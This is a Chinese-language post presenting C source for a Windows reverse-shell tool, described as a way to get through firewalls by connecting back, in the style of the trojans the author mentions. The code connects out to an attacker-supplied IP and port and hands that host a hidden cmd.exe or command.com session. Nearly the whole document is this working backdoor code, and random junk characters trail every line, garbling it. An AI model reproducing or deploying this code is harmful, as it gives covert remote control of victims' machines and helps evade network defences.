这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]w0Y5H "
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/* ============================== aof'shS8
Rebound port in Windows NT b5I 8jPj4c
By wind,2006/7 gm=C0Sp?
===============================*/ wy{sS}
#include :ln?PT
#include ]6s/y
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); NU+PG`Vb
SOCKET sClient; y>#kT
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X.FoX
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void main(int argc,char **argv) _HjB'XNr(
{ SuNc&e#(
WSADATA stWsaData; 33wVP}e5
int nRet; uXvE>VpJG
SOCKADDR_IN stSaiClient,stSaiServer; GN=8;Kq%
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if(argc != 3) B&<5VjZ\
{ MgN;[4|[h
printf("Useage:\n\rRebound DestIP DestPort\n"); >[wB|V5
return; ,?IXfJ`c
} w=: c7Y+
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WSAStartup(MAKEWORD(2,2),&stWsaData); {'B(S/Z7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z;BEUtR
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stSaiClient.sin_family = AF_INET; &;p}HL,
stSaiClient.sin_port = htons(0); #W
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %_CL/H
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -o~n06p
{ J><hrZ
printf("Bind Socket Failed!\n"); "gzn%k[D9m
return; vu}U2 0@
} 'HCRi Z<
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stSaiServer.sin_family = AF_INET; 49O_A[(d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -dN`Ok<g
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~l.C-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vpzjh,r-j
{ L<XX?I\p
printf("Connect Error!"); #7]>ozKm
return; r'_#rl
} 9C{Xpu
OutputShell(); l@u
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} Pth4_]US
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void OutputShell() |id7@3leu
{ oHp"\Z&
char szBuff[1024]; /v|b]Ji
SECURITY_ATTRIBUTES stSecurityAttributes; #pPR>,4
OSVERSIONINFO stOsversionInfo; E[=&6T4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a?4Asn
STARTUPINFO stStartupInfo; ~m0=YAlk?
char *szShell; k>8OxpaWv?
PROCESS_INFORMATION stProcessInformation; "LW\osjen
unsigned long lBytesRead; KL9JA;"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2n2,MB
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B|+%ExT7
stSecurityAttributes.lpSecurityDescriptor = 0; ;~WoJlEK3
stSecurityAttributes.bInheritHandle = TRUE; B#.xs>{N
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); LWSy"Cs*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {{[@ X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3-n&&<
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \$t{K
stStartupInfo.wShowWindow = SW_HIDE; NwQ$gDgu t
stStartupInfo.hStdInput = hReadPipe; ";jAH GbO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D&@ js!|5
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GetVersionEx(&stOsversionInfo); I$)9T^Ra
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switch(stOsversionInfo.dwPlatformId) 0"+QWh
{ ;- Vs|X
case 1: hp}rCy|01
szShell = "command.com"; MrOtsX
break; ^L
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default: V \FlKC
szShell = "cmd.exe"; f`\J%9U _O
break; eecIF0hp
} &9.3-E47*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k<f0moxs'
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send(sClient,szMsg,77,0); @T.F/Pjhc
while(1) 8JW0;H<
{ J4iu8_eH!D
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '-G,7!.,r%
if(lBytesRead) \,:7=
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Gz8JOl
send(sClient,szBuff,lBytesRead,0); LUz`P6
} Pl#u,Y
else L=s8em]7l
{ (5[#?_~
lBytesRead=recv(sClient,szBuff,1024,0); 36.mf_AM
if(lBytesRead<=0) break; 6(1
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W&Xi&[Ux
} 5"q{b1
} KpS=oFX{}
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return; "/UPq6
}